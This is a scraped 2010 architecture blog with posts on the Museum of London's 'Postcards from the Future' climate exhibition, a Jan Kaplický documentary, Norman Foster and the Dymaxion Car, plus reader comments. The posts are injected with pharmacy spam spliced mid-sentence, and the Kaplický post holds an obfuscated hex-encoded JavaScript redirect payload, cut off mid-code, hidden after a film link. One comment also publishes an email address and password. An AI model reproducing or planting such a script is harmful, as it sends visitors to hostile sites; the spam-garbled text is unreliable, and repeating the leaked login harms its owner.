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  • cup2013 12:02 pm on November 6, 2010 Permalink | Reply
    Tags: Climate Change, , , Norman Foster, Postcards from the Future   

    mix & match… 


    If you are looking for cheap Menosan, but still are unsuccessful, you can enjoy buying it for only 56.8 USD right now at our online store! London Future images: Buckingham Palace, London

    The climate refugee crisis reaches epic proportions as a vast shantytown stretches across London, leaving Buckingham Palace marooned.

    Public acceptance of climate change is still weak and 55% of people believe that climate change has been exaggerated for political ends.

    Lesson / Koan : If humans would leave the planet Earth alone…it would heal itself.

    following is from on-going exhibition…
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    Postcards from the Future

    A new exhibition shows London landmarks in an environment transformed by climate change. From rice fields in Parliament Square to ice-skating on the Thames, 14 familiar views of the capital have been digitally transformed by illustrators Robert Graves and Didier Madoc-Jones. The exhibition runs from October until March 2011 at the Museum of London. Captions written by the museum.

    Climate change is central to London’s future. It will affect every aspect of the city, from buildings and public spaces to the way Londoners live and work.

    What impact will climate change have?

    A display of 14 arresting images will be on display at the Museum of London from 1 October 2010 to 6 March 2011. Like ‘Postcards From The Future’, familiar views of the capital have been digitally transformed by illustrators Robert Graves and Didier Madoc-Jones.

    London Future images: This view across Parliament Square shows paddy fields

    Parliament Square, an area once used for political protest, is now part of the city's flood protection effort and for growing rice as self-sufficiency becomes necessary.

    The display brings home the full impact of global warming, food scarcity, rising sea levels and how all Londoners will need to innovate and adapt to survive. Examples of the striking images that will be on show include Parliament Square put to work as a rice paddy, ice skating down the Thames, Buckingham Palace surrounded by a sea of shanty housing and the Gherkin occupied by thousands of eco-refugees highlight the shocking realities we could face.

    The display and related events form part of the Mayor’s Story of London festival.

    London Future images: As the Gulf Stream slows a mini ice-age brings temporary relief to the heat

    As the Gulf Stream slows a mini ice-age brings temporary relief to heat-weary Londoners. Winter skating becomes London's most popular sport and Tower Bridge is a favourite spot/

    “We want to create a space in which people can consider how climate change may impact on their lives.  We are committed to making beautiful and arresting images which tell their own story.  We have deliberately chosen ‘postcard’ shots of London, places that all of us are familiar with. By focusing our creative energy on these well- known panoramas, the images have taken on a life of their own.

    Even we were surprised by the way the story unfolded as the scene was created. Each picture has become a mini soap-opera, alive with colour, drama, triumph and adversity as our city is transformed and Londoners adapt to meet this change.”

    London Future images: The iconic City office tower is now high-rise housing

    The iconic City office tower is now high-rise housing. Originally converted into luxury flats, the Gherkin soon slid down the social scale to become a high-density, multi-occupation tower block.

    BTW,

    One last image…guess the future of City office tower was always in Mr. Foster’s mind.

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    • rogerthesurf 6:28 pm on November 7, 2010 Permalink | Reply

      The last photograph reminds me more of the results of extreme socialism as previously observed in USSR and PRC to me.

      Cheers

      Roger

      http://www.rogerfromnewzealand.wordpress.com

    • Bruno 7:10 pm on November 15, 2010 Permalink | Reply

      deltiology [ˌdɛltɪˈɒlədʒɪ]: (n)
      -the collection and study of picture postcards
      [from Greek deltion, diminutive of deltos a writing tablet + -logy]

      The deltiologist captures utopia on a daily basis in the projections actualities and ephemeralities of entire worlds sent by mail.

      -for MB-

  • cup2013 10:13 am on October 9, 2010 Permalink | Reply
    Tags: Eye over Prague, , Jan Kaplický, , Norman Foster   

    power play… 


    Czech architect Jan Kaplický quotes Frank Lloyd Wright in the film about the struggle to approve the construction of the National Library in Prague. “When Democracy Builds”…please remember this statement, it is essential.

    Lesson / Koan : Awards or Rewards.

    Eye Over Prague Don’t lose hope, if you can’t find your Mestinon for an affordable cost. We’ve got the best prices and you can get your Mestinon only for 2.1 USD with us! You can get your Procardia at the most affordable price here! Buy it only for 1.04 USD with us now!

    The international premiere of a documentary dedicated to the late Czech architect Jan Kaplický, co-founder of London based internationally acclaimed practice Future Systems followed by a debate chaired by Deyan Sudjic, with Eva Jiřičná and other guests.
    The film featuring Brian Clarke, Eva Jiřičná, Norman Foster, Zaha Hadid, Václav Havel and the team Future Systems tells the story of Kaplický’s last grand design. The project for the National Library in Prague called the Eye over Prague is radical, exciting and far enough ahead of its time to provoke a fair degree of controversy. For Kaplický, a Czech-born émigré, it also represents a triumphant return to his homeland, a vindication of his uncompromisingly forward-looking philosophy and, eventually, a tragically poetic ending to his remarkable career. After winning the international competition chaired by Zaha Hadid, the popular and much supported design met opposition from the Czech government and the local administration and the fierce battle began.
    (Olga Spátová, Czech Republic, 2010, 90′).

    A following debate, chaired by Deyan Sudjic with Eva Jiřičná and other guests will focus not only on Jan Kaplicky’s work, but also on the process and struggles of architects to have their visionary and bold designs approved and built.

    See Full Film Here: http://vod.journeyman.tv/store?p=4436var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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    • joker 6:58 pm on October 9, 2010 Permalink | Reply

      I rented the documentary from the website for seven days. To login an watch it, you can sign in using my email address meanglish@gmail.com, and the password is uqq0mwhe. If is doesn’t work, shoot me an email, and I’ll get a new password.

      • Bruno 1:31 am on October 12, 2010 Permalink | Reply

        during one oft trips to London during thesis I found myself at an exhibition in reflection of Jan Kaplicky. the models were arranged inside of glass boxes in space and in this context the exhibition read as a parallel universe (a utopia of Jan.) immediately I realized the absence of traditional rules concerning the way an architect thinks about form, structure and use. This begs the question : in order to construct utopia, does one need simply to change the rules?

    • gofiesh 9:04 pm on October 9, 2010 Permalink | Reply

      speaking of Frank Lloyd Wright, an example of another character who never gave in on his search for utopia… there’s a Ken Burns documentary on his life available on Netflix streaming. i highly recommend it.
      http://www.imdb.com/title/tt0144937/
      http://www.netflix.com/Movie/Frank-Lloyd-Wright/60021140?strackid=43e7112be8d685d3_0_srl&strkid=739257360_0_0&trkid=222336

  • cup2013 3:15 pm on September 26, 2010 Permalink | Reply
    Tags: Fate Morgana, Henry Wadsworth Longfellow, , Nicolai Ouroussoff, Norman Foster, shared experience,   

    shared vision… 


    A very extended bow to NY Times architectural / cultural critic Nicolai Ouroussoff.  The recent observations of Mr. Ouroussoff act as a “how to kit” on the idea of utopias & utopian thought and should be read closely.

    Personal Rapid Transit station, or Penn Station as a role model.

    The on-going subject per CUPtopia’s perspective may need clarity too.  Is the possibility of utopia a generational occurence?  OR Is the the idea of utopia as a possibility for each generation really the need for nothing more than a common shared experience?  The entire argument in CUPtopia is for the common shared experience, not the isolated experience.

    It is intersting, that with a name like Foster, one would be inherently helpful.  At the same time, with the name Norman, conquest is a given.

    Lesson / Koan : New walls appear to be built to keep things out, the disguise is the appeal.

    From : This is a one-time offer, and if you don’t want to miss it, act now! buy Speman for 47.62 USD and not a single penny more! In Arabian Desert, a Sustainable City Rises, by Nicolai Ouroussoff-  Published: September 25, 2010

    But Mr. Foster’s design also reflects the gated-community mentality that has been spreading like a cancer around the globe for decades. Its utopian purity, and its isolation from the life of the real city next door, are grounded in the belief — accepted by most people today, it seems — that the only way to create a truly harmonious community, green or otherwise, is to cut it off from the world at large.

    Ever since the notion that thoughtful planning could improve the lot of humankind died out, sometime in the 1970s, both the megarich and the educated middle classes have increasingly found solace by walling themselves off inside a variety of mini-utopias.”

    BTW,

    File:Mirage in The Aerial World, by Dr. G. Hartwig, London.jpg

    1886 drawing of a "Fata Morgana" mirage.

    Don’t let some commercial system rob you, when you buy your Azulfidine. We’ve got the lowest prices on the market and we offer Azulfidine only for 1.03 USD! Fate Morgana : literally ‘fairy Morgan’ ; originally referring to a mirage seen in the Strait of Messina between Italy and Sicily and attributed to Morgan le Fay , whose legend and reputation were carried to Sicily by Norman settlers.

    O sweet illusions of song
    That tempt me everywhere,
    In the lonely fields, and the throng
    Of the crowded thoroughfare!

    I approach and ye vanish away,
    I grasp you, and ye are gone;
    But ever by night and by day,
    The melody soundeth on.

    As the weary traveler sees
    In desert or prairie vast,
    Blue lakes, overhung with trees
    That a pleasant shadow cast;

    Fair towns with turrets high,
    And shining roofs of gold,
    That vanish as he draws nigh,
    Like mists together rolled —

    So I wander and wander along,
    And forever before me gleams
    The shining city of song,
    In the beautiful land of dreams.

    But when I would enter the gate
    Of that golden atmosphere,
    It is gone, and I wonder and wait
    For the vision to reappear.

    Fata Morgana by Henry Wadsworth Longfellow

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    • Bruno 7:11 pm on September 26, 2010 Permalink | Reply

      An interesting definition is played calling utopia the perfect world, or that which can never be. Perhaps the ‘utopia’ is not the output or goal but the process, architects love to speak on process however, we/they frequently miss the point… Process is not a path to an end but a revolving door in itself, as with most endeavors of the ‘soul’ the play is what truly becomes interesting (more so than any actual output). The play is where one feels alive and truly joyful, that moment when one is on the brink of producing but at the interim of creating is the utopia; this utopia is of the mind and by the mind is ever-present. “We followed the paths, which were so convoluted that the one you thought would lead you out only took you deeper into the heart of the mystery.” Antonio Gramsci – The Prison Notebooks-

  • cup2013 12:01 pm on September 20, 2010 Permalink | Reply
    Tags: Dymaxion Car, Ivorypress Art + Books, Leonardo da Vinci, Norman Foster, , Roland Barthes   

    the magic number… 


    The Dymaxion Car was ,

    So visually seductive that you want to own it, to have the voluptuous physicality of it in your garage.

    Top and head-on views of the new Dymaxion Car, #4...as commissioned by Norman Foster.

    Three-quarters of a century after the last of the original models, Car #3, rolled off the production line, a new Dymaxion Car has been created, Car #4. Based on the drawings of Car #3 and painstaking analysis of Car #2, it was built in the English countryside in the East Sussex workshops of Crosthwaite & Gardiner, which specializes in restoring 1930s racing cars. The new car was commissioned by Norman Foster.

    The quote above, also by Mr. Foster, describes a personal love affair with both the Dymaxion Car, and with R. Buckminster Fuller.  The affair is one uncommon in today’s age of the digital moment.  Dymaxion Car#4 was constructed in a time span of two years.  The uncommon nature of the affair involves Nostalgia.  In all the materials printed on Mr. Fuller and his wildly exaggerated feats, was Nostalgia ever part of his bag of tricks?

    A fuel-efficient vehicle was the goal for any Fuller model of the Dymaxion Car.  A vehicle capable of 35 miles to a gallon, twice the standard when the Dymaxion Car debuted in 1933.  Mr. Foster’s deep pockets provide for the re-creation of physical form only for beauty’s sake.

    Beauty only refers to itself.”  Roland Barthes

    Mr. Foster has done an excellent job on more than one front.  In combination with the development of Dymaxion Car#4, is the accompanying book, Buckminster Fuller. Dymaxion Car published by Ivorypress.  Ivorypress is owned by Mr. Foster’s wife, Elena Ochoa Foster.  The Dymaxion Car#4 in on display through Oct. 30 at the Ivorypress Art + Books gallery in Madrid.  Considering the Ivorypress If you are in need of a cost effective solution for your Stromectol If you are still looking for your Tadapox at a lower price than on the most of the market, you’ve found it! buy Tadapox only for $1.53 right here! purchase, we are the one to provide it! We offer Stromectol only for 1.93 USD! book documenting the process of analysis & construction is priced at approximately $120.00 a copy, the Foster’s profit margin will be achieved quickly.

    The Buckminster Fuller Challenge is an annual international design Challenge awarding $100,000 to support the development and implementation of a strategy that has significant potential to solve humanity’s most pressing problems.  Now in its fourth year the Buckminster Fuller Challenge has been called “Socially-Responsible Design’s Highest Award.” The model set forth by Mr. Foster & partners in the Dymaxion Car#4 project is one which design students need to approach with extreme caution.  The exclusive nature, rather than inclusive nature of humanity is the exact opposite message students & professionasl need in this financial climate from Mr. Foster’s pet project.

    Bucky Fuller’s legacy will live on in the mission of the Challenge named after him.  Buckminster Fuller Challenge “Solutions are regionally specific yet globally applicable and present a truly comprehensive, anticipatory, integrated approach to solving the world’s complex problems.”

    The names Fuller and Foster begin with the same letter…that is all they will ever have in common.

    A working model of Leonardo da Vinci’s 1478 3-wheeler. It was completed in 2004 and took technicians 7 years to make.

    BTW,

    In recent history, there have been other three wheeled cars re-built for different reasons.

    on Saturday April 23rd 2004…

    Leonardo da Vinci was yesterday credited with anticipating the car when a model of one of his drawings was hailed as the first self-propelling vehicle conceived. The wooden 5ft by 5ft 6in model, featured in an exhibition at Florence’s Science History Museum, is driven by springs. It is also the first projected vehicle with programmable steering.

    While the drawings of the car, made in 1478, have long been known to scholars, understanding how it worked has been an enduring mystery.

    The model presented yesterday took seven years to make, after Prof Pedretti identified drawings of coiled springs concealed in drums beneath the car as its most likely source of power “It’s a very sophisticated device,” Prof Pedretti, the director of the Armand Hammer Centre of Leonardo Studies in Los Angeles.

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    • joker 12:03 pm on September 26, 2010 Permalink | Reply

      “When you are young, you study the masters for their techniques and style. But when you are older, you study them for their emotion, feeling.”
      – Chiang Chao-Shen
      Master Leonardo — Student Fuller?…Master Fuller — Student ?…

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